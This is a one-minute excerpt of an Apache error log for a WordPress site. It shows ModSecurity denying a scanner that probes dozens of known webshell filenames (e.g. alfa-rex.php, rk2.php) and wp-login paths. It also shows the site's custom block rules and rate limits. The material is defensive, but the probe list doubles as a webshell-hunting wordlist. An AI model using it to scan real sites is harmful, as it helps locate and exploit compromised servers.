[Sat Dec 20 21:49:00.260266 2025] [:error] [pid 39493:tid 39573] [client 85.203.34.35:62927] [client 85.203.34.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUapTGhjL2VG_FmIHqAKIwAAAJg"]
[Sat Dec 20 21:49:01.136297 2025] [:error] [pid 33687:tid 33695] [client 85.203.34.19:47835] [client 85.203.34.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aUapTTYMR4qK1N4g7vjdfAAAAkU"]
[Sat Dec 20 21:49:01.707316 2025] [:error] [pid 33687:tid 33710] [client 85.203.34.6:52733] [client 85.203.34.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUapTTYMR4qK1N4g7vjdiAAAAlQ"]
[Sat Dec 20 21:49:02.591012 2025] [:error] [pid 39577:tid 39582] [client 85.203.34.9:44385] [client 85.203.34.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aUapTrviRnt1rJiSOfx2UwAAAMM"]
[Sat Dec 20 21:49:03.472798 2025] [:error] [pid 62124:tid 62139] [client 85.203.34.21:45691] [client 85.203.34.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/chosen.php"] [unique_id "aUapT1s94zPA9ULQOjmNIAAAAA0"]
[Sat Dec 20 21:49:05.382623 2025] [:error] [pid 33793:tid 33818] [client 85.203.34.46:57207] [client 85.203.34.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aUapUVSicyB0BFmbRMzgpAAAAtc"]
[Sat Dec 20 21:49:06.312625 2025] [proxy_fcgi:error] [pid 33793:tid 33806] [client 85.203.34.13:62759] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:06.951952 2025] [:error] [pid 33793:tid 33819] [client 85.203.34.13:62759] [client 85.203.34.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aUapUlSicyB0BFmbRMzgsAAAAtg"]
[Sat Dec 20 21:49:07.562648 2025] [proxy_fcgi:error] [pid 39493:tid 39553] [client 85.203.34.21:23261] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:07.876646 2025] [proxy_fcgi:error] [pid 39493:tid 39569] [client 85.203.34.21:23261] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:08.179832 2025] [proxy_fcgi:error] [pid 39493:tid 39551] [client 85.203.34.21:23261] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:08.484038 2025] [:error] [pid 39493:tid 39563] [client 85.203.34.21:23261] [client 85.203.34.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aUapVGhjL2VG_FmIHqAKawAAAI4"]
[Sat Dec 20 21:49:09.818919 2025] [:error] [pid 39493:tid 39560] [client 85.203.34.16:37419] [client 85.203.34.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aUapVWhjL2VG_FmIHqAKdwAAAIs"]
[Sat Dec 20 21:49:10.515635 2025] [proxy_fcgi:error] [pid 14247:tid 14249] [client 85.203.34.37:29409] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:11.048624 2025] [proxy_fcgi:error] [pid 14247:tid 14270] [client 85.203.34.37:29409] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:11.357023 2025] [proxy_fcgi:error] [pid 14247:tid 14271] [client 85.203.34.37:29409] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:11.719645 2025] [proxy_fcgi:error] [pid 14247:tid 14258] [client 85.203.34.37:29409] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:12.077735 2025] [proxy_fcgi:error] [pid 14247:tid 14265] [client 85.203.34.37:29409] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:12.368222 2025] [:error] [pid 14247:tid 14249] [client 85.203.34.37:29409] [client 85.203.34.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aUapWCDv9TtKKdJQn9kiiAAAAQA"]
[Sat Dec 20 21:49:13.527512 2025] [proxy_fcgi:error] [pid 14286:tid 14306] [client 85.203.34.36:48233] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:14.445637 2025] [proxy_fcgi:error] [pid 14286:tid 14291] [client 85.203.34.36:48233] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:14.743761 2025] [proxy_fcgi:error] [pid 14286:tid 14310] [client 85.203.34.36:48233] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:15.356314 2025] [:error] [pid 14286:tid 14295] [client 85.203.34.36:48233] [client 85.203.34.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "aUapW57rbXIrw6rGSdaUGAAAAUU"]
[Sat Dec 20 21:49:15.928709 2025] [:error] [pid 33793:tid 33814] [client 85.203.34.34:35351] [client 85.203.34.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "aUapW1SicyB0BFmbRMzg8AAAAtM"]
[Sat Dec 20 21:49:16.844632 2025] [proxy_fcgi:error] [pid 33687:tid 33708] [client 85.203.34.33:55049] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:17.174927 2025] [proxy_fcgi:error] [pid 33687:tid 33696] [client 85.203.34.33:55049] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:18.029883 2025] [:error] [pid 33687:tid 33693] [client 85.203.34.33:55049] [client 85.203.34.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aUapXjYMR4qK1N4g7vjeaQAAAkM"]
[Sat Dec 20 21:49:18.600967 2025] [proxy_fcgi:error] [pid 33844:tid 33855] [client 85.203.34.2:48999] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:18.895760 2025] [proxy_fcgi:error] [pid 33844:tid 33857] [client 85.203.34.2:48999] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:19.429313 2025] [:error] [pid 33844:tid 33852] [client 85.203.34.2:48999] [client 85.203.34.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aUapXyaNtwGsyqqVmQEFAwAAAwY"]
[Sat Dec 20 21:49:20.038942 2025] [:error] [pid 33749:tid 33768] [client 185.92.25.139:34619] [client 185.92.25.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aUapYNoInXJnb96wei92oQAAApE"]
[Sat Dec 20 21:49:20.605219 2025] [proxy_fcgi:error] [pid 39493:tid 39553] [client 85.203.34.21:20595] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:20.896689 2025] [proxy_fcgi:error] [pid 39493:tid 39564] [client 85.203.34.21:20595] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:21.177945 2025] [proxy_fcgi:error] [pid 39493:tid 39555] [client 85.203.34.21:20595] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:21.475621 2025] [:error] [pid 39493:tid 39550] [client 85.203.34.21:20595] [client 85.203.34.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aUapYWhjL2VG_FmIHqAK2gAAAIE"]
[Sat Dec 20 21:49:22.019103 2025] [:error] [pid 39493:tid 39554] [client 85.203.34.16:23791] [client 85.203.34.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aUapYmhjL2VG_FmIHqAK3wAAAIU"]
[Sat Dec 20 21:49:22.610059 2025] [proxy_fcgi:error] [pid 14286:tid 14309] [client 85.203.34.35:29655] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:22.894804 2025] [:error] [pid 14286:tid 14314] [client 85.203.34.35:29655] [client 85.203.34.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/wp-login.php"] [unique_id "aUapYp7rbXIrw6rGSdaUhwAAAVg"]
[Sat Dec 20 21:49:23.455963 2025] [proxy_fcgi:error] [pid 33749:tid 33775] [client 85.203.34.38:59157] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:23.737500 2025] [proxy_fcgi:error] [pid 33749:tid 33773] [client 85.203.34.38:59157] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:24.018789 2025] [proxy_fcgi:error] [pid 33749:tid 33771] [client 85.203.34.38:59157] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:24.567115 2025] [proxy_fcgi:error] [pid 33749:tid 33773] [client 85.203.34.38:59157] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:24.856042 2025] [proxy_fcgi:error] [pid 33749:tid 33771] [client 85.203.34.38:59157] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:25.130008 2025] [:error] [pid 33749:tid 33766] [client 85.203.34.38:59157] [client 85.203.34.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aUapZdoInXJnb96wei93XAAAAo8"]
[Sat Dec 20 21:49:26.646270 2025] [:error] [pid 33570:tid 33580] [client 85.203.34.9:37271] [client 85.203.34.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.9, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aUapZoTNveA-c6YcSrIdhwAAAcQ"]
[Sat Dec 20 21:49:26.942943 2025] [proxy_fcgi:error] [pid 33570:tid 33593] [client 85.203.34.9:37271] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:27.216023 2025] [:error] [pid 33570:tid 33577] [client 85.203.34.9:37271] [client 85.203.34.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aUapZ4TNveA-c6YcSrIdigAAAcE"]
[Sat Dec 20 21:49:27.807738 2025] [:error] [pid 39577:tid 39602] [client 85.203.34.17:53847] [client 85.203.34.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aUapZ7viRnt1rJiSOfx3_QAAANc"]
[Sat Dec 20 21:49:28.689219 2025] [proxy_fcgi:error] [pid 33749:tid 33756] [client 85.203.34.7:25429] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:28.985213 2025] [proxy_fcgi:error] [pid 33749:tid 33767] [client 85.203.34.7:25429] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:29.276938 2025] [:error] [pid 33749:tid 33773] [client 85.203.34.7:25429] [client 85.203.34.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "aUapadoInXJnb96wei94HwAAApY"]
[Sat Dec 20 21:49:29.907677 2025] [proxy_fcgi:error] [pid 39493:tid 39556] [client 85.203.34.42:62713] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:30.216123 2025] [:error] [pid 39493:tid 39571] [client 85.203.34.42:62713] [client 85.203.34.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aUapamhjL2VG_FmIHqALRwAAAJY"]
[Sat Dec 20 21:49:31.075782 2025] [proxy_fcgi:error] [pid 33793:tid 33803] [client 85.203.34.33:33265] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:31.383062 2025] [proxy_fcgi:error] [pid 33793:tid 33797] [client 85.203.34.33:33265] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:31.662455 2025] [proxy_fcgi:error] [pid 33793:tid 33800] [client 85.203.34.33:33265] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:31.971659 2025] [proxy_fcgi:error] [pid 33793:tid 33799] [client 85.203.34.33:33265] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:32.263597 2025] [proxy_fcgi:error] [pid 33793:tid 33805] [client 85.203.34.33:33265] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:33.182764 2025] [proxy_fcgi:error] [pid 33793:tid 33796] [client 85.203.34.33:33265] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:33.494620 2025] [proxy_fcgi:error] [pid 33793:tid 33799] [client 85.203.34.33:33265] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:34.112184 2025] [:error] [pid 33793:tid 33795] [client 85.203.34.33:33265] [client 85.203.34.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aUapblSicyB0BFmbRMzh6wAAAsA"]
[Sat Dec 20 21:49:35.727647 2025] [proxy_fcgi:error] [pid 62124:tid 62130] [client 85.203.34.42:47653] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:36.327308 2025] [proxy_fcgi:error] [pid 62124:tid 62126] [client 85.203.34.42:47653] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:36.625830 2025] [:error] [pid 62124:tid 62136] [client 85.203.34.42:47653] [client 85.203.34.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "aUapcFs94zPA9ULQOjmO4wAAAAo"]
[Sat Dec 20 21:49:37.273609 2025] [proxy_fcgi:error] [pid 14286:tid 14299] [client 85.203.34.11:59685] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:37.568622 2025] [proxy_fcgi:error] [pid 14286:tid 14311] [client 85.203.34.11:59685] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:37.888620 2025] [proxy_fcgi:error] [pid 14286:tid 14292] [client 85.203.34.11:59685] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:38.172221 2025] [:error] [pid 14286:tid 14296] [client 85.203.34.11:59685] [client 85.203.34.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.11, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aUapcp7rbXIrw6rGSdaVmgAAAUY"]
[Sat Dec 20 21:49:38.181722 2025] [proxy_fcgi:error] [pid 14286:tid 14296] [client 85.203.34.11:59685] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:39.063600 2025] [proxy_fcgi:error] [pid 14286:tid 14308] [client 85.203.34.11:59685] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:39.356631 2025] [proxy_fcgi:error] [pid 14286:tid 14299] [client 85.203.34.11:59685] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:39.958295 2025] [:error] [pid 14286:tid 14291] [client 85.203.34.11:59685] [client 85.203.34.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/mah.php"] [unique_id "aUapc57rbXIrw6rGSdaVsgAAAUE"]
[Sat Dec 20 21:49:40.547255 2025] [:error] [pid 14247:tid 14251] [client 85.203.34.25:55415] [client 85.203.34.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.25, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/sunrise/wp-login.php"] [unique_id "aUapdCDv9TtKKdJQn9kj1wAAAQI"]
[Sat Dec 20 21:49:40.875787 2025] [:error] [pid 14247:tid 14269] [client 85.203.34.25:55415] [client 85.203.34.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/lmfi.php"] [unique_id "aUapdCDv9TtKKdJQn9kj3gAAARQ"]
[Sat Dec 20 21:49:42.783617 2025] [proxy_fcgi:error] [pid 62124:tid 62149] [client 185.92.25.139:29279] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:43.450623 2025] [proxy_fcgi:error] [pid 62124:tid 62142] [client 185.92.25.139:29279] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:43.829428 2025] [:error] [pid 62124:tid 62133] [client 185.92.25.139:29279] [client 185.92.25.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/file.php"] [unique_id "aUapd1s94zPA9ULQOjmPPAAAAAc"]
[Sat Dec 20 21:49:44.395688 2025] [proxy_fcgi:error] [pid 33793:tid 33817] [client 85.203.34.44:53903] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:44.673674 2025] [proxy_fcgi:error] [pid 33793:tid 33814] [client 85.203.34.44:53903] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:45.330043 2025] [:error] [pid 33793:tid 33796] [client 85.203.34.44:53903] [client 85.203.34.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aUapeVSicyB0BFmbRMziXwAAAsE"]
[Sat Dec 20 21:49:45.946656 2025] [proxy_fcgi:error] [pid 33687:tid 33691] [client 85.203.34.5:60345] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:46.575125 2025] [:error] [pid 33687:tid 33694] [client 85.203.34.5:60345] [client 85.203.34.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aUapejYMR4qK1N4g7vjfSgAAAkQ"]
[Sat Dec 20 21:49:47.156619 2025] [proxy_fcgi:error] [pid 39493:tid 39556] [client 85.203.34.15:38989] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:47.533038 2025] [:error] [pid 39493:tid 39549] [client 85.203.34.15:38989] [client 85.203.34.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.15, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/light/wp-login.php"] [unique_id "aUape2hjL2VG_FmIHqAMAwAAAIA"]
[Sat Dec 20 21:49:47.854914 2025] [:error] [pid 39493:tid 39558] [client 85.203.34.15:38989] [client 85.203.34.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/angu.php"] [unique_id "aUape2hjL2VG_FmIHqAMBwAAAIk"]
[Sat Dec 20 21:49:48.446618 2025] [proxy_fcgi:error] [pid 33687:tid 33705] [client 85.203.34.19:54277] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:49.302452 2025] [proxy_fcgi:error] [pid 33687:tid 33711] [client 85.203.34.19:54277] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:49.634659 2025] [proxy_fcgi:error] [pid 33687:tid 33701] [client 85.203.34.19:54277] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:49.989658 2025] [proxy_fcgi:error] [pid 33687:tid 33702] [client 85.203.34.19:54277] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:50.335619 2025] [proxy_fcgi:error] [pid 33687:tid 33712] [client 85.203.34.19:54277] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:50.657523 2025] [proxy_fcgi:error] [pid 33687:tid 33700] [client 85.203.34.19:54277] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:50.941280 2025] [:error] [pid 33687:tid 33697] [client 85.203.34.19:54277] [client 85.203.34.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "aUapfjYMR4qK1N4g7vjfYgAAAkc"]
[Sat Dec 20 21:49:52.028204 2025] [:error] [pid 14286:tid 14309] [client 85.203.34.46:35569] [client 85.203.34.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/packed.php"] [unique_id "aUapf57rbXIrw6rGSdaWRQAAAVM"]
[Sat Dec 20 21:49:52.654610 2025] [proxy_fcgi:error] [pid 33749:tid 33763] [client 85.203.34.18:54349] AH01071: Got error 'Primary script unknown'
